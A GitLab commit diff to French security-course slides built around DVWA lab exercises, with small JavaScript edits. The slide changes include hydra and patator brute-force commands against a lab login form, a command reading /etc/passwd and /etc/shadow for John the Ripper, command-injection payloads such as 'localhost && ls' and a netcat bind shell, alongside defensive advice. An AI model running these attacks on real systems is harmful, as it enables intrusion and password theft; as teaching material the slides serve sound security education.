Skip to content
Snippets Groups Projects
Commit 551a2d7f authored by Vincent Mazenod's avatar Vincent Mazenod
Browse files

check to shellshock

parent b3d966c1
No related branches found
No related tags found
No related merge requests found
Pipeline #11418 failed
...@@ -152,7 +152,7 @@ Tags: cours ...@@ -152,7 +152,7 @@ Tags: cours
<li> <li>
<a href="slides/1337/fi.html" <a href="slides/1337/fi.html"
class="customizable"> class="customizable">
LFI_RFI File injection
</a> </a>
</li> </li>
<li> <li>
......
...@@ -15,7 +15,10 @@ $( document ).ready(function() { ...@@ -15,7 +15,10 @@ $( document ).ready(function() {
}); });
} }
//event.preventDefault(); });
$('a.toggle').click(function() {
$("#" + $(this).attr('name')).closest('li').toggle();
}); });
$('a.customizable').click(function() { $('a.customizable').click(function() {
...@@ -24,10 +27,6 @@ $( document ).ready(function() { ...@@ -24,10 +27,6 @@ $( document ).ready(function() {
} }
}); });
$('a.toggle').click(function() {
$("#" + $(this).attr('name')).closest('li').toggle();
});
}); });
\ No newline at end of file
content/slides/1337/images/authentication/dvwa-auth-high-follow-redirect.png

12.9 KiB

...@@ -3,7 +3,7 @@ ...@@ -3,7 +3,7 @@
## AKA burning cpu ## AKA burning cpu
### force brute ### <i class="fas fa-cogs"></i> force brute
* par dictionnaires * par dictionnaires
* liste d'utilisateurs + liste de mots de passe * liste d'utilisateurs + liste de mots de passe
...@@ -14,13 +14,13 @@ ...@@ -14,13 +14,13 @@
* du flaire etc ... * du flaire etc ...
## force brute ### <i class="fas fa-cogs"></i> force brute
* par recherche * par recherche
* combinatoire * combinatoire
* hybride * hybride
* décliner via des règles les propositions d'un dictionnaire * décliner via des règles les propositions d'un dictionnaire
* leetspeakation automatique * ["leetspeakation"](https://fr.wikipedia.org/wiki/Leet_speak) automatique
* [John the Ripper](http://www.openwall.com/john/) permet de générer des mots de passes dérivant de parties du username * [John the Ripper](http://www.openwall.com/john/) permet de générer des mots de passes dérivant de parties du username
...@@ -38,7 +38,7 @@ export security=low ...@@ -38,7 +38,7 @@ export security=low
export PHPSESSID=esiff3kfto23f7uit3vr90jks4 export PHPSESSID=esiff3kfto23f7uit3vr90jks4
hydra -l admin \ hydra -l admin \
-P /usr/share/wordlists/rockyou.txt \ -P /usr/share/wordlists/rockyou.txt \
vm-etu-vimazeno.local.isima.fr \ dv.wa \
http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: PHPSESSID=${PHPSESSID}; security=${security};:Username and/or password incorrect." http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: PHPSESSID=${PHPSESSID}; security=${security};:Username and/or password incorrect."
``` ```
...@@ -54,10 +54,10 @@ export PHPSESSID=esiff3kfto23f7uit3vr90jks4 ...@@ -54,10 +54,10 @@ export PHPSESSID=esiff3kfto23f7uit3vr90jks4
```shell ```shell
patator http_fuzz method=GET follow=0 accept_cookie=0 --threads=1 --rate-limit=2 timeout=10 \ patator http_fuzz method=GET follow=0 accept_cookie=0 --threads=1 --rate-limit=2 timeout=10 \
url="http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/brute/?username=admin&password=FILE0&Login=Login" \ url="http://dv.wa/vulnerabilities/brute/?username=admin&password=FILE0&Login=Login" \
0=/usr/share/wordlists/rockyou.txt \ 0=/usr/share/wordlists/rockyou.txt \
header="Cookie: security=${security}; PHPSESSID=${PHPSESSID}" \ header="Cookie: security=${security}; PHPSESSID=${PHPSESSID}" \
resolve="vm-etu-vimazeno.local.isima.fr:10.16.41.197" \ resolve="dv.wa:172.16.76.146" \
-x ignore:fgrep='Username and/or password incorrect.' -x ignore:fgrep='Username and/or password incorrect.'
``` ```
...@@ -98,7 +98,15 @@ envoyer la requête dans *Intruder* ...@@ -98,7 +98,15 @@ envoyer la requête dans *Intruder*
* *Payload set*: 2 (token anti CSRF) -> *Recursive grep* * *Payload set*: 2 (token anti CSRF) -> *Recursive grep*
* onglet *Settings* * onglet *Settings*
* *Grep - Extract* -> *add* * *Grep - Extract* -> *add*
![Intruder / mot de passe](images/authentication/dvwa-auth-high-define-grep-extract.png)<!-- .element style="width: 90%" --> ![Intruder / token](images/authentication/dvwa-auth-high-define-grep-extract.png)<!-- .element style="width: 90%" -->
### <i class="fa-solid fa-bomb"></i> Brute force / high
* *Payload set*: 2 (token anti CSRF) -> *Recursive grep*
* onglet *Settings*
* *Redirections* -> *always*
![Intruder / folow redirect](images/authentication/dvwa-auth-high-follow-redirect.png)<!-- .element style="width: 90%" -->
### <i class="fa-solid fa-bomb"></i> Brute force / high ### <i class="fa-solid fa-bomb"></i> Brute force / high
...@@ -113,14 +121,14 @@ envoyer la requête dans *Intruder* ...@@ -113,14 +121,14 @@ envoyer la requête dans *Intruder*
![Intruder / Resolved](images/authentication/dvwa-auth-high-resolved.png)<!-- .element style="width: 90%" --> ![Intruder / Resolved](images/authentication/dvwa-auth-high-resolved.png)<!-- .element style="width: 90%" -->
## attaques offline ### <i class="fas fa-cogs"></i> force brute offline
* Dépend de la puissance de calcul * Dépend de la puissance de calcul
* Non furtive * Non furtive
* Reproductible * Reproductible
## attaques offline ### <i class="fas fa-cogs"></i> force brute offline
* [OPHCRACK (the time-memory-trade-off-cracker)](http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/) * [OPHCRACK (the time-memory-trade-off-cracker)](http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/)
* monde windows * monde windows
...@@ -130,7 +138,7 @@ envoyer la requête dans *Intruder* ...@@ -130,7 +138,7 @@ envoyer la requête dans *Intruder*
* [Password Cracking: Lesson 2](http://www.computersecuritystudent.com/SECURITY_TOOLS/PASSWORD_CRACKING/lesson2/) * [Password Cracking: Lesson 2](http://www.computersecuritystudent.com/SECURITY_TOOLS/PASSWORD_CRACKING/lesson2/)
## attaques offline ### <i class="fas fa-cogs"></i> force brute offline
* [John the Ripper](http://www.openwall.com/john/) * [John the Ripper](http://www.openwall.com/john/)
* monde UNIX/BSD * monde UNIX/BSD
...@@ -144,7 +152,7 @@ unshadow /etc/passwd /etc/shadow > mypasswd ...@@ -144,7 +152,7 @@ unshadow /etc/passwd /etc/shadow > mypasswd
* [Checking Password Complexity with John the Ripper](http://www.admin-magazine.com/Articles/John-the-Ripper) * [Checking Password Complexity with John the Ripper](http://www.admin-magazine.com/Articles/John-the-Ripper)
## attaques par tables arc-en-ciel ### <i class="fas fa-cogs"></i> force brute rainbow table
* [CrackStation](https://crackstation.net/) * [CrackStation](https://crackstation.net/)
* avec la signature de smithy dans la table user * avec la signature de smithy dans la table user
...@@ -154,7 +162,7 @@ unshadow /etc/passwd /etc/shadow > mypasswd ...@@ -154,7 +162,7 @@ unshadow /etc/passwd /etc/shadow > mypasswd
``` ```
## <i class="fa fa-medkit"></i> Se protéger ### <i class="fa fa-medkit"></i> Se protéger
* instaurer des règles de durcissement au moment du choix du mot de passe * instaurer des règles de durcissement au moment du choix du mot de passe
* pas contournable côté client ;) * pas contournable côté client ;)
......
...@@ -3,7 +3,7 @@ ...@@ -3,7 +3,7 @@
## aka [command injection](https://www.owasp.org/index.php/Command_Injection) ## aka [command injection](https://www.owasp.org/index.php/Command_Injection)
### CMDi / security low ### <i class="fas fa-cogs"></i> CMDi
* paramètres non filtrés * paramètres non filtrés
* la commande est écrite en dur * la commande est écrite en dur
...@@ -13,7 +13,7 @@ ...@@ -13,7 +13,7 @@
* triviale mais assez rare * triviale mais assez rare
### CMDi / security low ### <i class="fa-solid fa-bomb"></i> CMDi / low
* Unix * Unix
* Pipeline * Pipeline
...@@ -26,7 +26,7 @@ ...@@ -26,7 +26,7 @@
* ou logique: **||** * ou logique: **||**
### CMDi / security low ### <i class="fa-solid fa-bomb"></i> CMDi / low
```shell ```shell
localhost && ls localhost && ls
...@@ -52,7 +52,7 @@ Note: ...@@ -52,7 +52,7 @@ Note:
- DVWA Security -> medium - DVWA Security -> medium
### CMDi / security medium ### <i class="fa-solid fa-bomb"></i> CMDi / medium
les chaînes de caractères "&&" et ";" sont interdites les chaînes de caractères "&&" et ";" sont interdites
...@@ -90,7 +90,7 @@ Note: ...@@ -90,7 +90,7 @@ Note:
- DVWA Security -> high - DVWA Security -> high
### CMDi / security high ### <i class="fa-solid fa-bomb"></i> CMDi / high
```shell ```shell
localhost|ls localhost|ls
...@@ -100,7 +100,7 @@ Note: ...@@ -100,7 +100,7 @@ Note:
-détailler l'expression régulière -détailler l'expression régulière
### CMDi / security impossible ### <i class="fa-solid fa-bomb"></i> CMDi / impossible
* l'approche est ici différente * l'approche est ici différente
* on ne cherche plus à éliminer les caractères dangereux * on ne cherche plus à éliminer les caractères dangereux
...@@ -114,7 +114,7 @@ Note: ...@@ -114,7 +114,7 @@ Note:
-détailler l'expression régulière -détailler l'expression régulière
## bind shell ### <i class="fas fa-cogs"></i> bind shell
* ex netcat * ex netcat
...@@ -134,7 +134,7 @@ sudo apt install ncat ...@@ -134,7 +134,7 @@ sudo apt install ncat
ncat -v vm-etu-vimazeno.local.isima.fr 8080 ncat -v vm-etu-vimazeno.local.isima.fr 8080
``` ```
* \o/ nous disposons d'un accès distant à la machine * \o/ accès distant à la machine
* avec les permissions de l'utilisateur www-data * avec les permissions de l'utilisateur www-data
Note: Note:
...@@ -150,7 +150,7 @@ Note: ...@@ -150,7 +150,7 @@ Note:
- et netcat peu avoir été supprimé - et netcat peu avoir été supprimé
## <i class="fa fa-medkit"></i> Se préserver ### <i class="fa fa-medkit"></i> Se préserver
* éviter les commandes [exec](http://php.net/manual/fr/function.exec.php), [shell_exec](http://php.net/manual/fr/function.shell-exec.php), [passtru](http://php.net/manual/fr/function.passthru.php) ou [system](http://php.net/manual/fr/function.system.php) * éviter les commandes [exec](http://php.net/manual/fr/function.exec.php), [shell_exec](http://php.net/manual/fr/function.shell-exec.php), [passtru](http://php.net/manual/fr/function.passthru.php) ou [system](http://php.net/manual/fr/function.system.php)
* utiliser shell_escape_args() en php * utiliser shell_escape_args() en php
...@@ -165,7 +165,7 @@ Note: ...@@ -165,7 +165,7 @@ Note:
- utiliser le cron system - utiliser le cron system
## <i class="fa fa-medkit"></i> Se préserver ### <i class="fa fa-medkit"></i> Se préserver
* utiliser des listes blanches plutôt que des listes noires * utiliser des listes blanches plutôt que des listes noires
* utiliser cron pour les traitements récurrents * utiliser cron pour les traitements récurrents
......
...@@ -5,10 +5,7 @@ Reveal.addEventListener( "ready", (event) => { ...@@ -5,10 +5,7 @@ Reveal.addEventListener( "ready", (event) => {
let user = '' let user = ''
if(document.location.href.indexOf("?") == -1) { if(document.location.href.indexOf("?") != -1) {
user = 'vimazeno';
}
else {
user = document.location.href.substring( user = document.location.href.substring(
document.location.href.indexOf("?")+1, document.location.href.indexOf("?")+1,
document.location.href.indexOf("#") document.location.href.indexOf("#")
...@@ -34,7 +31,7 @@ Reveal.addEventListener( "ready", (event) => { ...@@ -34,7 +31,7 @@ Reveal.addEventListener( "ready", (event) => {
let url = new URL(link); let url = new URL(link);
if ( if (
url.origin == "http://vm-etu-vimazeno.local.isima.fr" url.origin == "http://dv.wa"
&& user != "" && user != ""
) { ) {
a.href = "http://vm-etu-" + user + ".local.isima.fr" + url.pathname + url.search; a.href = "http://vm-etu-" + user + ".local.isima.fr" + url.pathname + url.search;
...@@ -46,7 +43,9 @@ Reveal.addEventListener( "ready", (event) => { ...@@ -46,7 +43,9 @@ Reveal.addEventListener( "ready", (event) => {
for (let code of document.getElementsByTagName("code")) { for (let code of document.getElementsByTagName("code")) {
code.innerHTML = code.innerHTML.replaceAll("vm-etu-vimazeno.local.isima.fr", "vm-etu-" + user + ".local.isima.fr"); if (user != "") {
code.innerHTML = code.innerHTML.replaceAll("dv.wa", "vm-etu-" + user + ".local.isima.fr");
}
} }
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment